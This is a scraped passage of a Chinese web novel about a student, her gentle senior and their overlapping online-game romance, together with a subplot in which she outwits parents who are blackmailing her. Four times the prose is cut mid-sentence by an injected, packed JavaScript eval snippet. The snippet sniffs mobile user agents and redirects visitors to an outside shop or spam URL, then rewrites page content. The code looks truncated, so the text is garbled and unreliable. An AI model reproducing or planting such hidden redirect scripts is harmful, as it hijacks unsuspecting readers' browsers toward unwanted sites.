回到寝室,白念给严禹发了条微信。 n:师兄,这两天我父母可能会打扰你,提前说声抱歉啊,你不用理他们,我会解决的。 对面回得很快。 严禹:没关系。 白念想了想,又发了条消息。 n:你有空吗?我请你吃饭~ 毕竟严禹帮了自己这么多次,接下来还要麻烦他几天,白念想着择日不如撞日,连带着消息也带上了客套的小尾巴。 严禹:好。 临时邀约,怕耽误严禹时间,本着方便原则,白念把吃饭地点定在了晋大侧门一家板栗鸡,傍晚正是饭点,店里人不少。 白念挑了个二楼靠窗的位置,几乎刚一坐下,严禹也就到了,他站在楼梯口一眼看过来,迅速找到了她的位置,拔腿走了过来。 刚要坐下,白念就急忙出声制止了他:“师兄等下!” 严禹直起腰来,不明所以地看她,白念长舒一口气,悄悄看了眼他浅色的裤子,掏出一包湿纸巾来晃了晃:“差点忘了。” 随后不等男生反应过来,白念就站起身,抽出纸巾就要去帮他擦座椅。 手臂刚刚伸到严禹身后,就听到他无奈地笑了一下,伸出手来想要拉住她忙碌的手腕,快要碰上的瞬间,男生的手上动作顿了顿,手指微微蜷缩回袖子当中,隔着衣物轻轻地挡了她的手一下:“不用了。” 白念眨了眨眼:“你不是有洁癖吗?” 她想起前几天菲菲读的那个帖子,视线又不由自主地往他的肩膀上看。 那里是她一把鼻涕一把泪的“犯罪地点”。 严禹顺着她的视线看了一眼自己的衣服,好像真的没有介意的意思:“没事的。” 他脑子里莫名地浮现出那个泪流满面的熊猫头道歉表情,轻笑了下:“没那么夸张,更何况,跟你——” 白念抬起眼睛看他,他的话顿了顿才接上:“跟朋友一起,怎么样都很好。” 男生的语气温润而平和,看向她的眼睛莫名真诚,白念这才放下心来,收回了手,邀请他坐了下来。 菜上得很快,浓白的鸡汤在小火上慢煨煮,里面金黄色的板栗仁在滚动的汤汁里微微摇晃,清甜的香气缓缓散入嗅觉,白念笑了笑:“不知道你喜欢吃什么,这是我常来的一家店,他家的板栗很糯,鸡肉也很嫩,师兄你尝尝。” 严禹依言低头咬了一口板栗仁,随后轻轻点了点头:“很好吃。” 白念下意识等着看他的反应,闻言放下心来,下意识夹起一颗板栗往嘴里送,然后被烫得倒吸了一口凉气:“嘶——” 对面的人猛地抬起头来看她:“怎么了?” 白念苦着脸尴尬道:“不小心烫到了。” 严禹垂下眼睛看了眼她因为太烫而变得嫣红的唇瓣,随后很快拿起手边的果汁给她倒满:“快喝点冰的缓缓。” 白念拿起杯子,冰冰凉凉的果汁缓解了热意,她放下杯子指了指锅里:“难得找到个同好,我室友都喜欢吃火锅,嫌这个太清淡了,我一个人又吃不完。” 严禹低头看了眼蒸腾的白汤,若有所思:“你喜欢吃甜的?” 白念点了点头:“算是吧。小时候想吃糖吃不到,甜的东西就成了执念。不过太腻的也不喜欢。” 她语气轻松得好像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388922|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲述一件稀松平常的事情,但是说完之后好久才发现对面没有声音,白念抬起头看了一眼,发现严禹表情有点淡,才发现自己好像自然而然地说了些冷场的话。 她张口解释:“我不是卖惨的意思,就是顺着你的问题随便说一下——” “没关系,”冷气充足的店内,隔着浅白色的雾气,严禹轻轻开口,“不用解释的。” 说完把手边晾好的瓷白小碗往白念这边推了推。 里面是散去滚烫,温度恰好的一碗汤,里面均匀地卧着颗颗分明的板栗仁。 白念抿了抿唇,接过了这份细致的关心,轻轻说了句谢谢。 他真的是一个细心又绅士的人。 这么想着,白念下意识开口:“师母还担心你谈不上恋爱。” 她的话吸引了男生抬起眼眸来看她,眼神很专注:“什么?” 白念笑了笑,夹起一枚板栗轻轻晃了晃,笑眼弯弯:“师兄应该是没有喜欢的女孩吧,不然你这么细心,要是有女朋友了,一定会做得很好。” 她本来只是随口一说,对面的人却垂下眼去,半晌才低低地回答道:“有。” 没头没脑的一句,白念一下子没有理解,等反应过来他指的是什么,她诧异地扬了扬眉:“有什么?喜欢的人还是女朋友?” 锅里的热气蒸腾起来,晃晃悠悠地攒出一片浅白的雾气,朦朦胧胧地隔在两个人中间,让彼此的眉眼看不分明,白念只能看到严禹深重的瞳孔透过雾气专注地凝视着她。 “喜欢的人。”他回答得很认真。 白念愣愣地问了句:“暗恋?” 问完后她就想要自己的舌头。 严禹看起来本就是一个淡然疏离的性子,她这样问也太冒昧了。 还没等她自己圆场,严禹已经缓缓开口:“算是吧。” 他的语气太过认真,仿佛这不是席间闲聊一样,白念张了张口,实在难以想象他这样的人居然也会暗恋,而且他看起来很……庄重? 她问:“没有表白过吗?” “有。”一阵凉风吹来,雾气骤然散去,面前的男生垂下眼睛,神情平静。 白念惊了,她没想到严禹这么不拿她当外人,听他的意思,恋情还十分不顺,她试探着安慰他:“没关系,慢慢来,师兄我相信你。” 严禹突然抬起头看了她一眼:“正在努力。” “加油加油!”白念干巴巴地笑了下,不好意思再戳人痛处,埋下头去吃饭。 也就没看见对面骤然落寞的眼神。 严禹静静地看了无知无觉埋头吃饭的女生一会儿,无声地自嘲一笑,低下头去。 吃到尾声,她才开口说今天的正事:“对了师兄,这几天临近项目比选,我父母可能会频繁地来打扰你……” 严禹点点头:“你刚刚跟我说过,没事的,我会看着办。” 白念看了对面不论何时仿佛情绪都很稳定的男生,充满歉意地笑了笑:“你就把事情都推给我,我会处理的,再过几天就好了。” “那天比较匆忙,没来得及问你。”严禹轻声开口:“你打算怎么做?” 说到正事,白念立刻严肃起来,她没什么感情地笑了下:“以牙还牙,我不是什么大度的人。” 说完她莫名地看了眼男生的表情。 严禹唇角勾起很浅的一个弧度:“嗯,我也是。” 63. 提示 白念诧异地扬了扬眉:“是吗?” 她从不觉得严禹是会说这样话的人,骤然听到他这么说有些意外。 “不像吗?”严禹看她新奇的眼神,反问。 “不像。”白念笑了笑,“论坛上说你刚来时被人碰了下肩膀就把衣服扔了,但是那天我弄脏了你的衣服你也没生——” “不一样。”他骤然出声打断她的话。 白念嘴唇动了动,没说完的话卡在半途,她本来想问有什么不一样,脑子里鬼使神差地闪过一个念头。 说起来,她从来没察觉出过严禹有洁癖这件事。或者说,他从来没在她面前表现出来过。 某些因为尴尬被她刻意遗忘在脑海里的记忆不受控制地冒了出来。 她的目光落在严禹吃饭时候一直没有触碰到餐桌的手臂,因为天气太热的缘故,他今天穿的是短袖,白皙的手臂微微悬在半空,随着动作勾勒出流畅的弧度,凸起的线条和某些画面完美重合。 譬如和她在医院被抱起时,痛得神思恍惚间感受到的一样;和他们一起画方案时,他递过奶茶时她低下头看到的一样;和他半跪在副驾驶外把肩膀借给她遮挡眼泪时,他扶住车门一样;和跌落在酒店地板上,他撑在她身下一样。 白念咳了一声,觉得自己明白了,她若有所思地开口:“我知道哪里不一样了。” “嗯?”严禹抬起头来和她对视上,手上捏着汤匙的手指不着痕迹地收紧了些,压迫出苍白的颜色,“……你知道了?” 白念点点头,缓缓开口:“师兄你是不是……” 严禹看着她澄澈的眼眸,悄然深吸了一口气。 自从定下“半个月”的约定,他几乎有种破罐破摔的想法,所以刚才说的许多话,于他而言已经是极为不加掩饰的暗示了,他也不知道自己什么心态。 既希望白念发现真相,又怕她太早地发现真相。 他声音干涩地开口:“是什么?” 白念却低头去给他倒了杯果汁,推到他面前,小心翼翼道:“你是不是……不好意思说啊?” 严禹怔在原地。 白念观言察色,觉得自己道出了真相,她长长地舒了一口气:“师兄你真的太客气了,有什么介意的直接说就好,不要憋在心里。” 不就是洁癖嘛,要是她早些知道,就能尽量避免给他造成困扰了。 严禹已经反应过来了,语气迟缓:“……你想的是这个?” 白念“嗯”了一声:“我很好说话的,你要是早点说,我就早点注意了。” 严禹眼神复杂,面对面前笑意清浅的脸,嘴唇轻轻动了动:“其实不——” 叮。 手机提示音突然响起来,打断了严禹要说的话,他低下头去,是一条短信。 看了一眼发件人,他几乎就要脱口而出的冲动蓦然熄灭。 还不是时候。 “你有事吗?”白念问了句,看着严禹骤然严肃起来的表情,提议道,“吃的也差不多了,我们回学校吧。” 严禹却直接把短信举到了她面前:“……是你父亲。” 白念目光落在短信上,迅速冷了下来,快速地浏览过文字内容,她重新看向屏幕后的人:“接下来这几天可能要麻烦你配合我一下了,师兄。” 严禹收起手机,指了指面前的碗:“吃人嘴短,乐意之至。” 白念“扑哧”一下笑出声来:“看来我这顿饭没白请。” 本来神情略显严肃的男生也被她感染,轻轻笑了起来。 “好啦,吃得差不多了。”白念看了眼早已经放下筷子的严禹,“我们回学校吧?” “好。”严禹点点头,也跟着白念站起身来。 哐当—— 一名抬着盘子路过的服务员一时间没注意,猛地撞上了刚起身的严禹,盘子里的东西洒到了他浅色的衣服上,酱色的汤汁鬼画符一样洋洋洒洒地在他袖子上铺陈开来。 白念倒吸一口凉气,完了。 “对不起对不起!”服务员慌张地鞠躬道歉,无措地去看严禹的表情,男生却没有生气,看了眼自己汁水淋漓的衣服,很快别过眼去:“我去下卫生间。” 白念摸了摸鼻子,重新坐下来等他,手机突然响了起来。 她拿起来一看,是之前定的闹钟,提醒她今天和仗剑他们约好了去打新出的副本。 还有半个小时,白念看了一眼万古令,大家都还没上线。 想了想,她点开了和风不语的聊天框,发了条消息。 【好友】【早睡身体好:我今天有点事,可能会晚一会儿上线,你帮我跟仗剑他们说一声抱歉哈。】 点击发送。 严禹匆忙之中放在她旁边的手机屏幕亮了一下,并响起了一声消息提示音,叮。 白念抬头看了眼他的手机,又低下头去,发现风不语今天并没有及时回复。 想了想,她又补充了一句。 【好友】【早睡身体好:我这几天有点忙,你可以先去看看生崽的攻略~】 她前两天抽空看了眼游戏论坛,发现要顺利怀上也是一门学问,干脆让风不语先去研究一下。 点击发送。 严禹的手机又叮了一声。 白念抬起头来,盯着他的屏幕看了两眼,低下头去。 【好友】【早睡身体好:。】 叮。 【好友】【早睡身体好:?】 叮。 她缓慢地眨了下眼睛。 “我好了。”严禹已经处理好衣服走了回来,看到白念有点呆愣的状态,出声喊她:“在想什么?” 白念觉得喉咙有些发涩,声音哽在原地出不来,她抬起头来看站在一旁的男生,他把整只袖子快速地洗了一遍,袖子上带着点餐厅里洗手液的香味,湿湿嗒嗒地侵扰着她的思维。 叮——突然间,他的手机又响了一声。 严禹拿起手机看了一眼,转过头对她说:“稍等,我回个消息。” 白念看着他打完字放下手机,僵硬地去看自己的聊天框。 毫无动静。 她吞咽了一下,轻轻开口:“有急事吗?” 严禹摇了摇头:“没,朋友找我有事。” 白念僵硬的脊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408973|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背如同泄了气一样,猛地松懈下来,她悄悄地松了一口气,为自己刚才荒诞的念头感到诧异。 大概是昨晚没睡好,才会让她产生这么离谱的猜想吧。 . 回到寝室登录游戏,仗剑放光芒和慢性怪人已经组好了队在等白念他们,风不语的头像还灰着。 仗剑的组队邀请跳了出来,白念点了同意,被传送到了东海岸,他们已经站在副本传送点,就等人齐了。 白念看了眼列表里的灰色头像,发了条消息。 【队伍】【早睡身体好:他呢?】 “我哥有事出门了,还没回来呢。”仗剑开麦说话,“我让他帮我带个饭。” 白念彻底放松下来。 刚才她和严禹一起回的学校,他并没有在路上买什么东西。 随后又为自己的猜测感到好笑——她为什么会觉得他们是同一个人。 一旁隐约有拖动椅子的声音响起,随后是一道沉稳的男声:“懒不死你,叫你跟我去食堂不去。” 白念认得,这个是慢性怪人的声音,她和风不语成亲时候他开过麦。 “别提了,我们社团前几天搞比赛不是缺人吗,非要拉我这快毕业的凑数,我这老胳膊老腿的,累死我了,躺会儿怎么了?”仗剑大大咧咧地吵嚷。 “话说嫂子,你和我哥没有加什么联系方式吗?”仗剑随口一问。 【好友】【早睡身体好:没有。】 “我哥效率也太低了吧,你们都结婚一个月了。”仗剑毫不留情吐槽道。 白念拿着手机翻着新副本攻略,有一搭没一搭地听着队伍里的闲聊,顺手回答了仗剑的问题,闻言笑了下,思绪有些游离。 她从来没有好奇过风不语的真实信息,此刻却莫名地生出一些零星的念头。 脱离了游戏,他是个什么样的人呢? 这么想着,耳机里传来一声开门的声音,随后有一道熟悉的声音隐约响起:“你的东西。” “谢谢禹哥,饿死我了!”仗剑说,“快上线吧,嫂子已经在等你了。” 细碎的声响过后,风不语的头像亮了起来,下一秒私信麦克风响起。 “抱歉,有点事来晚了,万古令可能是被后台清理了,没看到消息。”风不语大概是看到她之前发的消息,开口解释。 白念说:“没事。” 风不语“嗯”了一声,鼠标滚动的声音,似乎是在翻阅历史消息:“怎么给我发标点符号?” 白念想起刚才的乌龙,笑了下:“没什么,刚才发错了。” “什么时候找我的?”风不语问道,万古的历史消息并不显示聊天时间。 白念看了眼右下角的时间,想了下:“半小时前吧。” 耳机里细碎的动静蓦地消失了,风不语的声音戛然而止。 “准备准备!我要开副本了。”仗剑催促道,“哥你快准备。” 屏幕里的神君没有动作,白念戳了戳耳机,喊了他一声:“你还在吗?” “来了。” 耳机里重新传来鼠标轻点的声音,风不语重新开口,“开吧。” 64. 洞房 新副本boss是个法伤海蛇精。 白念翻了翻帖子,刚出的副本攻略不是很多,大部分都是吐槽boss伤害离谱的。 【12L:靠,太变态了,那个群法攻击,我们队的输出扛不住它打一下,连奶妈都掉了半血。】 【37L:而且血条巨厚,消耗起来就像挠痒痒,只能慢慢磨。】 【66L:打过的人来说一下,三输出或三奶比较好,要么和boss比伤害,要么和boss拼血量,输出多的队伍吃复活药站起来打。】 下面差不多都是这个画风,白念关了帖子,在队伍里问了一下。 【队伍】【早睡身体好:我看论坛上都在说难,要不我们再找个人?】 “没事儿。”仗剑大大咧咧,“有我神封在此,输不了,爸爸我是妖精克星。” 他的保票打得信誓旦旦,白念扬了下眉。 【队伍】【早睡身体好:OK】 十分钟后。 白念、仗剑和慢性怪人整整齐齐地躺成一片,唯一幸存的风不语血条也所剩无几,蛇精扭动着庞大又妖异的尾巴,慢条斯理地挥袖降下最后一波攻击。 风不语放弃给自己加血,负手而立,迎接滔天巨浪。 小队最后一员,卒。 仗剑放光芒悄悄地把自己的麦克风关了。 【队伍】【早睡身体好:输不了?】 【队伍】【慢性怪人:没事?】 【队伍】【风不语:神封?】 被队友连番讨伐的仗剑放光芒被迫开麦,“哇”地一声哭了出来:“嫂子我错了,我这就去拉个输出,我们重新揍他丫的。” 白念忍俊不禁,看了眼她列表里许久不见的人头像亮起,思索着开口:“要不我们试试三个奶?” 一分钟后,被白念拉进队忽闪着翅膀的精灵仙子和五大三粗的红发魔王面面相觑。 “嫂子,这谁?”仗剑看了看这个围着自家嫂子蹦蹦跳跳的小奶妈,率先发问。 【队伍】【早睡身体好:我一个朋友。】 小奶妈开着麦,热情洋溢地向大家打招呼:“各位大神你们好呀!” “哇萌妹!”仗剑一扫刚才窝囊的状态,激动得搓手,在他身旁寡言的慢性怪人嫌弃地敲出一行字。 【队伍】【慢性怪人:口水擦擦,滴我桌上了。】 “咳咳,那什么,妹妹打过新副本吗?”仗剑十分殷勤,“我带……啊不是,我们带你啊。” “没有。”小奶妈声音脆生生略带疑惑,“姐姐说她刚才遇到的魔枷太水了,打不过去,让我来一起试试,谁啊,走了吗?” 被点名的仗剑默默地又把麦克风关了。 白念尴尬地敲起键盘。 【队伍】【早睡身体好:咳咳,那什么,今天天气真好啊。】 仗剑放光芒出离愤怒地敲出几个感叹号。 【队伍】【仗剑放光芒:@风不语,这是造谣!!!管管你老婆!!!!!!!】 白念视线停留在最后三个字上面,呛了一下,然后看见风不语慢悠悠回复。 【队伍】【风不语:实话,无法反驳。】 【队伍】【仗剑放光芒:你们狼狈为奸!你们沆瀣一气!】 【队伍】【风不语:来我面前说。】 【队伍】【仗剑放光芒:。】 仗剑放光芒忍辱负重地闭了嘴,老老实实重新打开副本。 有个第五个人的加入,副本终于顺畅起来,打到最后一关,蛇精的风雨技能劈头盖脸砸下来时,风不语复活白念,小奶妈给仗剑点续魂灯,慢性怪人给所有人再加一口血,局面总算稳住。 白念一个人的暴力输出,加上五个人的灵宠一起,虽然打得比两输出的队伍慢一些,好歹是抗住了蛇妖的变态消耗,boss的血量慢慢往下掉。 就这么慢慢磨到残血,触发boss的第二形态,它召唤出随身小弟,把手中的法杖一收,突然切换成近战形态,在所有人反应不过来的时候,飞身上前凌空重重一击,一巴掌拍空了仗剑的血条。 魔枷,卒。 仗剑语气虚弱:“……为什么连妖精都欺负我。” 一旁的白念血条一直很残,又被召唤出来的小怪围着攻击,血量顿时也是一空,风不语眼疾手快将她复活起来,刚想开口让队伍里另一个奶妈管一下魔枷。 小奶妈反应却很快,几乎是和风不语同步出手,使用复活技能拉起了扑街的仗剑,慢性怪人再用一个群体加血,局面稳了下来。 白念拎起九逍剑找准机会跳到boss身后打了一套技能又躲开boss的反击,跳了回来,技能冷却期抽空打了串字。 【队伍】【早睡身体好:@国产美少女,很棒。】 “嘻嘻。”小奶妈很开心,“虽然我是想救姐姐的,但是风神动作太快了,我没抢到。” 白念轻轻笑了下。 由于配合得不错,副本很快顺利结束,解散队伍后,白念给夏星弹了条私信。 【好友】【早睡身体好:上次的事处理完了吗?】 【好友】【国产美少女:嗯呢!我爸妈说剩下的不用我管了,我今天是来申请强制离婚的^-^】 【好友】【早睡身体好:那就好。那你现在是一个人玩吗?】 【好友】【国产美少女:嗯嗯,怎么啦姐姐~】 看着屏幕上的对话重新恢复元气,白念弯了弯唇角,彻底放下心来。 【好友】【早睡身体好:我们队缺个人,你愿不愿意来?】 【好友】【国产美少女:0.0!!!!!真的吗!!!愿意愿意,我要跟姐姐一起玩!】 夏星愿意,那就好办多了,白念重新组了个队,把风不语他们三个人拉了进来,开门见山。 【队伍】【早睡身体好:你们觉得刚刚的月华宫怎么样?】 仗剑抹了把泪:“说话很扎心的萌妹妹,我伤心得都忘了加她好友了。” 【队伍】【早睡身体好:……我没问你这个。】 风不语已经明白了她的意图。 【队伍】【风不语:你想拉她进队吗?操作挺流畅的,装备稍微欠缺一点,影响不大。】 【队伍】【慢性怪人:附议,已经比世界上大部分散装奶妈强了。】 【队伍】【早睡身体好:那……我拉她进帮派了?】 “好好好,妹妹好。”仗剑拍手叫好,说完后又发现不对,“不是,嫂子,咱们队里已经有两个奶了,再拉一个不是多了吗?” 白念看了眼一旁的风不语,笑了下,打字。 【队伍】【早睡身体好:我们俩说好了,我找到合适的奶妈,他就回剑尊。】 仗剑“嗷”了一嗓子:“可以啊禹哥,背着我们和嫂子有小秘密了,对着我们一声不吭,啊?” 风不语冷冷淡淡的声音响起:“你不重要。” 白念听着耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425942|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机里的动静,笑而不语,仗剑不乐意了:“哟哟哟,话说得这么硬气,怎么连嫂子的联系方式都没要到一个,人家找不到你还得问我。” 风不语突然沉默了下去,白念轻笑了一下,抬手打字。 【队伍】【早睡身体好:很快就有了。】 说完忽略耳机里的大呼小叫,白念解散了队伍,把夏星邀请进了公会。 夏星性格很讨人喜欢,给公会里欢迎她的人每个都热情洋溢地聊了起来,仗剑见状立刻停止了对风不语的精神攻击,转而去要妹妹的好友位去了。白念牙疼地看着自己的队友丢人现眼,关了公会聊天,重新对风不语发起组队邀请,然后把队长位置交给了他。 随后白念打开麦克风,语气轻松:“走,陪你转门派去。” 等了一会儿,风不语却没有动作,白念试探性地喊了一声:“你在吗?” “在。”他终于有了动作,却是直接带着白念传送回了家园,瑞气腾腾的白雕收了庞大的双翅,拘谨地站在白念的老破小面前,对着两位主人“嘎”了一声。 白念愣了愣:“你不回剑尊吗?” “不急,先生孩子。”风不语回答。 白念有点不解:“为什么?” “回剑尊以后,我们就是两个人族,生出的宝宝也是人族。”风不语低声解释道。 官方已经说了,孩子的技能和属性与父母有关,假如白念他们生个神族宝宝,就会继承风不语的月华宫技能,可以在战场上充当奶妈的角色。 不过白念还从来没想过这个问题,她原本觉得什么都好。 “你想要神族宝宝?”白念明白了。 “嗯,50%的概率吧。”风不语回答,“如果是神族,以后宝宝就可以保护你了。” 白念感觉他用词有点奇怪:“为什么是保护我?我们两个人都能带呀,再说了还有夫妻技能可以分摊伤害呢。” 风不语却避而不答,径直带着白念走进了小木屋,停留在卧室门口,白念抬眼一看,这才发现屋子里不知道什么时候多了张繁复华丽的新床,奢华得跟小屋格格不入。 “我看了生育攻略,据说这个床怀孕概率最高。”风不语一本正经地解释。 白念咂了咂舌:“多少钱?” “……不贵。” 白念不信,自己打开商城页面翻了一下,然后惊了。 “三千块!!!三千块就为了买张床?”她泪目了,“怀不上可以慢慢来呀,好心疼。” 风不语声音低沉:“我怕来不及。” “什么来不及?”白念咬了咬唇,“怎么感觉你今天有点奇怪。” 风不语却没有再说话,他走到床边,对着自己的娘子伸出双臂,做出一个揽她入怀的动作。 白念屏幕上弹出一行大字。 【春宵一刻值千金,您的夫君风不语邀请您共度洞房花烛夜,请问是否同意?】 白念缓缓点下同意,然后就看见自己的人物角色轻轻倚靠进风不语的怀中,他温柔地拥着她缓缓躺下,白念手指轻轻蜷缩了一下。 明明只是游戏,她却觉得有点不自在。 所幸随着二人动作,轻柔的帷幔缓缓降下,掩去了账中轻柔起伏的动作,只留下悦耳又暧昧的背景音乐在屏幕中回响。 耳机里是风不语均匀沉缓的呼吸声。 白念突然转过脸去,拿起手边的水杯喝了一口水。 她觉得耳朵有点热。 65. 钓鱼 三天之后,白念起得很早,八点半,她准时坐在了咖啡厅的卡座里。 “说吧。”她瞥了眼对面的夫妻俩。 白晟林笑容满面地递上一杯水:“严公子已经给我确切答复了,过两天就提前签合同,念念,你照我们说的做了?” 白念垂着眼睛低低地“嗯”了一声。 白晟林一拍大腿:“我就说嘛,唐家那小子是喜欢你的,这项目给谁不是给,凭什么不能给我白家哈哈。” 他有些忘形,声音引来了咖啡厅里部分人的侧目,周淑华将手放在他肩膀上,白晟林在提醒之下才想起正事,把头低了下来,凑近过来:“让你带的东西带了吗?” “……带了。”白念皱了皱眉,犹豫着把一个黑色的东西放到了桌面上。 白晟林迫不及待地拿起东西,插到自己的平板上,快速操作之后,随着画面一阵抖动之后,视频逐渐清晰起来,画面里是一间酒店,入目是洁白的大床,以及两个熟悉的身影。 是白念和严禹。 短暂的交谈之后,男生轻轻抬起手臂,把女生拥入怀中,和她一起慢慢躺到了床上,他的手掌抚上了女生莹润的肩膀,画面里女生的的肩带被缓缓褪下。 白晟林瞪大了眼睛,就要露出喜色。 视频突然暂停了。 白念的手掌盖到了屏幕上,她的眼里有一丝隐秘的难堪:“可以了。” 白晟林抬起头问:“你什么时候拍的?” “前天,”白念有点羞恼,“我去找他吃了顿晚餐,顺便带上了你给的东西。” “后面呢?怎么锁了?”白晟林有点着急,拼命去点手里的屏幕,画面却一动不动。 白念很不情愿,小声呵斥表达不满:“你们不是有那天的视频吗?为什么还要我拍新的!” 白晟林着急的脸色一僵,瞬间缓和下来,声音带上了几分讨好和说服:“这不是保险起见吗?你这孩子,我们也是为了给你制造机会吗?那天晚上他喝醉了,这次你们你情我愿的,不是更有说服力不是?” 白念抿了抿唇,似乎是听进去了,只是还有些谨慎:“后面的密码,比选大会前一天再给你们。” 白晟林脸色一沉就要开口,白念却有些倔强:“要是你们提前拿这个去威胁他怎么办,我不想……破坏我在他心里的形象,再说了,你们合同都拟定了,能有什么大问题。” 气氛有些僵持,周淑华却缓缓地笑了下,坐起身来,安抚自己的丈夫:“晟林啊,念念是女孩,我们要理解,这样也不是不行。” 白晟林闻言眼珠转了转,收敛了急切,又重新笑起来:“也是。念念啊,你可不能临时反悔啊,我们手里可是还有其他东西……你应该不希望学校里其他同学知——” 白念翻了个白眼,有点生气地打断他的话:“我知道的,不用一直说!” “好好好。”白晟林笑得很慈祥,“爸爸这不是担心吗,唐氏要求项目初步启动,我把所有的流动资金都投到这上面了……” 白念眼睫微微颤了颤,犹豫着开口:“那天和他吃饭的时候,我听到他接了个电话,大概意思是唐氏接下来在西南的发展重点是酒业……听说要在桂城或者云城里挑一个地方作为项目选址,最好马上开始建设的……” 她声音很小,可话里的意思却清清楚楚,白晟林眼睛一亮,连呼吸都轻了几分:“真的吗?” 白念甩了甩头:“大概是这样吧,我没太仔细听……我要回去上课了。” 这样的信息量对老谋深算的男人来说已经足够了,他缓缓直起腰来,笑得很有深意:“到底是我的女儿啊……去吧去吧,三天后会场见。” 白念拿起自己的包,站起身来,最后看了一眼男人手上平板里不堪的画面,欲言又止之后,终究转身离开。 “淑华。”白晟林沉浸在自己的思考中,喃喃道:“你记不记得我上个月去出差,跟你说过那边的县领导想招商引资建厂来着,他们那块儿靠近赤河,做酒厂很合适。要是念念说的是真的,那这可比现在手里的项目更好。” “你是说……”他身旁的女人问,“你想抢先把这个项目谈下来?可是我们已经没有流动资金了。” 白晟林目光一凛:“两个项目可以同时进行,把公司暂时抵押出去就行,只要消息确切,一本万利的事。” “这样也太冒险了。”周淑华皱起了眉头,白晟林却不以为然,他拿起手机,翻到了上次酒会存的号码,沉思片刻后拨了出去。 “喂?高经理,是我啊!”他笑容满面,“对对,就是那天和严公子一起喝酒的人!真是不好意思,突然打扰您。是这样的,我前两天跟严公子吃饭的时候,隐约听他提起,建设公司这边是想把项目重点放在酒业上,就是发愁找不到合适的厂址……” “哦哦!是这样啊。害~哪里的话,严公子的事就是我的事嘛,为唐氏分忧是我白家的荣幸。”白晟林脸上笑意几乎忍不住,他客套几句之后挂断了电话,一脸兴奋。 “怎么说?”周淑华问。 白晟林拿起东西站起来:“千真万确,我这就回云城一趟。” . 唐氏法务部,总经理办公室内。 高远挂断电话,看着坐在自己办公椅上优哉游哉翻看项目报表的严禹,有点不解:“小禹,你真把这个人当合作对象了?酒厂的事唐总只是给了个初步意向,选址的事情让他来办会不会太过草率了?” 高远也是唐老董事长生前手下的人之一,这次陈哲下台之后,唐雅托他暂时代为处理建设公司的事务。 严禹放下手中的东西站起来,笑容淡淡的:“别紧张,高叔,我没说要和云城合作。” 高远更疑惑了:“那你示意他去谈项目是什么意思?” “给他找点事做。”严禹扯了扯唇,看过来,“对了高叔,我今天来是有点事想请您帮忙。” “哎哟什么请不请的,你这孩子。”高远甩了甩手,“什么事?” 严禹笑了下:“您对集团的法务比较熟悉,我想请您帮忙拟一份合同。” “谈项目用?” “不是,谈项目的就不麻烦您了。”严禹看了眼落地窗外的回答,“钓鱼用。” . 送走突然到访的严禹后,高远拎着外套准备下班,刚走到停车场,他接到一个电话。 “喂?季淮啊。好啊,正好我今天有空,在哪儿?” 半小时后,高远坐在酒吧的卡位里,端起桌上的杯子喝了一口,对着沙发上的男人举了举杯自:“怎么想起来找我喝酒了?大忙人。” 严季淮也举杯喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437299|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口:“一个人喝没意思。” 高远叹了口气:“我现在帮着小雅做事,她也整天忙得脚不沾地,你们俩真是……就没一个能好好顾家的……说起来,我现在带的分公司还是你以前跟唐伯父提议的呢。” 严季淮不置可否地“嗯”了一声:“我听说今天阿禹去你那儿了?” “对啊,”高远扬了扬眉,“消息这么灵通,在我办公室安监控了?嗯?这么关心儿子,就自己去看看。” 严季淮敛下眼眸:“以前阿雅不是不让他进公司吗?现在倒是……放心了。” 高远挠了挠头:“他自己上课期间溜过来的,小雅出差去了,应该不知道吧。不过阿禹都要毕业了,也该慢慢上手集团事务了,不知道小雅每次为什么都那么紧张。” 严季淮意味深长地笑了下,举起酒杯掩住自己眼中的情绪,不经意道:“他来找你做什么?” 高远这才想起来,拍了下严季淮的腿,有点乐:“这小子,看着安安静静的,不知道在憋什么坏主意,让我帮他拟一份有漏洞的合同,以假乱真的那种。” 